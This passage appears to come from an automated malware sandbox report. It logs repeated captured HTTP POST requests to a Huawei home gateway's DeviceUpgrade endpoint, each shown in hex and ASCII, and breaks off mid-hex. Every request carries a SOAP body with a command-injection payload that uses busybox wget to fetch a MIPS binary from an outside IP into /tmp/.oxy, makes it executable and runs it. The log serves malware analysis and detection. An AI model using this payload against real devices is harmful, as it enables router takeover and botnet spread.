selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 35 35 2e 31 39 36 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.55.196.186 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 